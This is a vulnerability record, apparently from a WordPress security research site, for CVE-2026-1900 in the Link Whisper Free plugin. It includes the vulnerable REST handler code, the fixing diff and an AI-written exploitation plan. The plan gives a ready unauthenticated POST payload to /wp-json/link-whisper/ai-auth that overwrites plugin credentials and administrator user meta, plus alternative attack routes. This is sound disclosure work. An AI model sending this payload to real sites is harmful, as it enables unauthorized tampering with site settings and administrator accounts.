[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDVoIjE0wJzzNsaieNtIEujPs1JoNxMlrlUpM8ZqUwCY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-1900","link-whisper-free-missing-authorization-to-unauthenticated-settings-change","Link Whisper Free \u003C 0.9.1 - Missing Authorization to Unauthenticated Settings Change","The Link Whisper Free plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to 0.9.1 (exclusive). This makes it possible for unauthenticated attackers to perform an unauthorized action.","link-whisper",null,"\u003C0.9.1","0.9.1","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-07 00:00:00","2026-04-15 19:38:50",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2a4289b1-ca9f-4045-a00f-50eba713b52f?source=api-prod",9,[22,23,24,25,26],"core\u002FWpil\u002FRest.php","core\u002FWpil\u002FSettings.php","link-whisper.php","readme.txt","templates\u002Fwpil_settings_v2.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-1900 - Link Whisper Free Missing Authorization\n\n## 1. Vulnerability Summary\nThe **Link Whisper Free** plugin for WordPress is vulnerable to an unauthenticated settings change and user meta modification due to missing authorization checks in its REST API implementation. \n\nSpecifically, the `Wpil_Rest` class registers several REST API endpoints with the `permission_callback` set to `__return_true`. While one endpoint (`site_interlinking_handler`) immediately calls `die()`, the `ai_auth_handler` and `handler_rest` functions process user-supplied input and update global WordPress options and user metadata without verifying the requester's identity or capabilities.\n\nThe most critical sink is in `Wpil_Rest::ai_auth_handler`, which allows an unauthenticated attacker to:\n1.  Overwrite the plugin's AI access token and associated user IDs\u002Femails.\n2.  Modify the `wpil_ai_access_user_id` and `wpil_ai_access_user_email` metadata for **any arbitrary user ID** on the system.\n3.  Force the plugin into an \"authorized\" state for AI features.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Flink-whisper\u002Fai-auth` (defined by `Wpil_Rest::REST_SLUG` and `Wpil_Rest::AI_AUTH`)\n- **Method:** `POST`\n- **Capability Required:** None (unauthenticated)\n- **Nonce Required:** None\n- **Payload Parameters:**\n    - `access_token`: String (must contain the substring `ai-`)\n    - `user_id`: String (attacker-controlled value)\n    - `uid`: Integer (target user ID to modify metadata for)\n    - `uemail`: String (attacker-controlled email)\n\n## 3. Code Flow\n1.  **Entry Point:** During `rest_api_init`, `Wpil_Rest::register_rest()` is called.\n2.  **Route Registration:** The route `link-whisper\u002Fai-auth` is registered with `'permission_callback' => \"__return_true\"`.\n3.  **Callback Execution:** When a POST request is made to this route, `Wpil_Rest::ai_auth_handler()` is invoked.\n4.  **Logic Branch:** The function checks if the `access_token` parameter is present and contains the string `ai-` (via `false !== strpos($token, 'ai-')`).\n5.  **Sinks:**\n    - `update_option('wpil_ai_access_token', ...)`\n    - `update_option('wpil_ai_access_user_id', $user_id)`\n    - `update_option('wpil_ai_access_user_email', $uemail)`\n    - `update_user_meta($uid, 'wpil_ai_access_user_id', $user_id)`\n    - `update_user_meta($uid, 'wpil_ai_access_user_email', $uemail)`\n    - `update_option('wpil_ai_access_authorized', true)`\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability does **not** require a nonce. The `register_rest_route` call specifically uses `permission_callback => \"__return_true\"`, and the callback function `ai_auth_handler` does not perform any `wp_verify_nonce` or `check_ajax_referer` checks.\n\n## 5. Exploitation Strategy\n\n### Step-by-Step Plan\n1.  **Target Selection:** Identify a target user ID (usually `1` for the primary administrator).\n2.  **Craft Payload:** Create a POST request that satisfies the `strpos($token, 'ai-')` check and provides target values.\n3.  **Execute Request:** Submit the request to the REST API.\n4.  **Verification:** Check if the options and user meta have been updated.\n\n### HTTP Request (using `http_request` tool)\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Fvulnerable-wp.local\u002Fwp-json\u002Flink-whisper\u002Fai-auth\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n  },\n  \"body\": \"access_token=ai-pwned-token&user_id=attacker_id_123&uid=1&uemail=hacker@evil.com\"\n}\n```\n\n## 6. Test Data Setup\n1.  Install **Link Whisper Free** version `0.9.0`.\n2.  Ensure there is a user with ID `1` (standard WP setup).\n3.  No specific plugin configuration is required as the vulnerability exists in the default registered routes.\n\n## 7. Expected Results\n- **Response Code:** `200 OK`\n- **Response Body:** `\"ok\"`\n- **Side Effects:**\n    - Option `wpil_ai_access_token` will contain the encrypted version of `ai-pwned-token`.\n    - Option `wpil_ai_access_user_id` will be `attacker_id_123`.\n    - Option `wpil_ai_access_user_email` will be `hacker@evil.com`.\n    - User meta `wpil_ai_access_user_id` for User 1 will be `attacker_id_123`.\n    - User meta `wpil_ai_access_user_email` for User 1 will be `hacker@evil.com`.\n    - Option `wpil_ai_access_authorized` will be `1` (true).\n\n## 8. Verification Steps\nUse WP-CLI to verify the changes in the database:\n\n```bash\n# Check global options\nwp option get wpil_ai_access_user_id\nwp option get wpil_ai_access_user_email\nwp option get wpil_ai_access_authorized\n\n# Check user meta for the target user (UID 1)\nwp usermeta get 1 wpil_ai_access_user_id\nwp usermeta get 1 wpil_ai_access_user_email\n```\n\n## 9. Alternative Approaches\n### Exploiting `handler_rest` (Google Search Console)\nThe `link-whisper\u002Fcode` endpoint is also unauthenticated.\n- **Endpoint:** `\u002Fwp-json\u002Flink-whisper\u002Fcode`\n- **Method:** `POST`\n- **Parameter:** `code=SOME_CODE`\n- **Impact:** It calls `Wpil_SearchConsole::get_access_token(trim($code))`. If the code is accepted by the Search Console helper, it sets the `wpil_gsc_app_authorized` option to `true`. This is less direct than the AI auth exploit but still represents an unauthorized state change.\n\n### Data Injection via `uemail`\nSince `uemail` is passed directly to `update_option` and `update_user_meta` without rigorous sanitization (other than WordPress's internal `update_option` sanitization), it can be used to inject arbitrary string data into the database that might be reflected in the admin dashboard (e.g., in the Settings templates like `templates\u002Fwpil_settings_v2.php`).","The Link Whisper Free plugin for WordPress is vulnerable to unauthorized settings modification and metadata injection due to missing capability checks on its REST API endpoints. Unauthenticated attackers can exploit the '\u002Fwp-json\u002Flink-whisper\u002Fai-auth' route to overwrite the plugin's AI access configuration and modify the metadata of any user account, including administrators.","\u002F\u002F core\u002FWpil\u002FRest.php lines 66-74\n            register_rest_route(self::REST_SLUG, self::AI_AUTH, [\n                'methods'             => 'POST',\n                'callback'            => [\n                    $this,\n                    'ai_auth_handler'\n                ],\n                'permission_callback' => \"__return_true\",\n                'show_in_index'       => false\n            ]);\n\n---\n\n\u002F\u002F core\u002FWpil\u002FRest.php lines 131-155\n    public function ai_auth_handler( WP_REST_Request $request )\n    {\n        if(!empty($request->get_param('access_token'))){\n            $token = $request->get_param('access_token');\n            $user_id = $request->get_param('user_id');\n            $uid = (int)$request->get_param('uid');\n            $uemail = $request->get_param('uemail');\n\n            if(!empty($token) && false !== strpos($token, 'ai-')){\n                \u002F\u002F save the token to the options\n                update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));\n                \u002F\u002F and the user id\n                update_option('wpil_ai_access_user_id', $user_id);\n                \u002F\u002F and the user email\n                update_option('wpil_ai_access_user_email', $uemail);\n                \u002F\u002F tag the user with the id\n                update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);\n                update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);\n                \u002F\u002F and update the flag so we know it's live\n                update_option('wpil_ai_access_authorized', true);\n            }\n\n            return 'ok';\n        }","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flink-whisper\u002F0.9.0\u002Fcore\u002FWpil\u002FRest.php\t2025-09-30 05:28:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flink-whisper\u002F0.9.1\u002Fcore\u002FWpil\u002FRest.php\t2026-02-25 03:13:16.000000000 +0000\n@@ -77,7 +77,7 @@\n \n             if ( !empty($response['access_valid']) ) {\n                 \u002F\u002F and update the flag so we know it's live\n-                update_option('wpil_gsc_app_authorized', true);\n+                update_option('wpil_gsc_app_authorized', true, false);\n             }\n \n             return 'ok';\n@@ -116,16 +116,20 @@\n             $uid = (int)$request->get_param('uid');\n             $uemail = $request->get_param('uemail');\n \n-            if(!empty($token) && false !== strpos($token, 'ai-')){\n+            if( !empty($token) && \n+                false !== strpos($token, 'ai-') && \u002F\u002F if the code isn't corrupted\n+                (bool) preg_match('\u002F\\\\Aai-[0-9a-f]{64}\\\\z\u002Fi', $token) && \u002F\u002F is a valid token\n+                (bool) preg_match('\u002F\\\\A[0-9a-f]{32}\\\\z\u002Fi', $user_id)) \u002F\u002F has a valid id\n+            {\n                 \u002F\u002F save the token to the options\n                 update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));\n                 \u002F\u002F and the user id\n                 update_option('wpil_ai_access_user_id', $user_id);\n                 \u002F\u002F and the user email\n-                update_option('wpil_ai_access_user_email', $uemail);\n+                update_option('wpil_ai_access_user_email', sanitize_email($uemail));\n                 \u002F\u002F tag the user with the id\n-                update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);\n-                update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);\n+\u002F\u002F                update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);\n+\u002F\u002F                update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);\n                 \u002F\u002F and update the flag so we know it's live\n                 update_option('wpil_ai_access_authorized', true);\n             }","The exploit targets the `\u002Fwp-json\u002Flink-whisper\u002Fai-auth` REST API route, which is registered with an unauthenticated `permission_callback` returning `true`. An attacker sends a POST request to this endpoint with a payload containing four parameters: `access_token` (which must start with 'ai-'), `user_id`, `uemail`, and `uid`. No WordPress nonces or login credentials are required. The server-side logic in `ai_auth_handler` directly uses these inputs to call `update_option()` and `update_user_meta()`. This allows the attacker to arbitrarily modify global AI credentials and overwrite user metadata (specifically `wpil_ai_access_user_id` and `wpil_ai_access_user_email`) for any target user ID provided in the `uid` parameter.","gemini-3-flash-preview","2026-04-17 21:10:34","2026-04-17 21:10:59",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","0.9.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flink-whisper\u002Ftags\u002F0.9.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flink-whisper.0.9.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flink-whisper\u002Ftags\u002F0.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flink-whisper.0.9.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flink-whisper\u002Ftags"]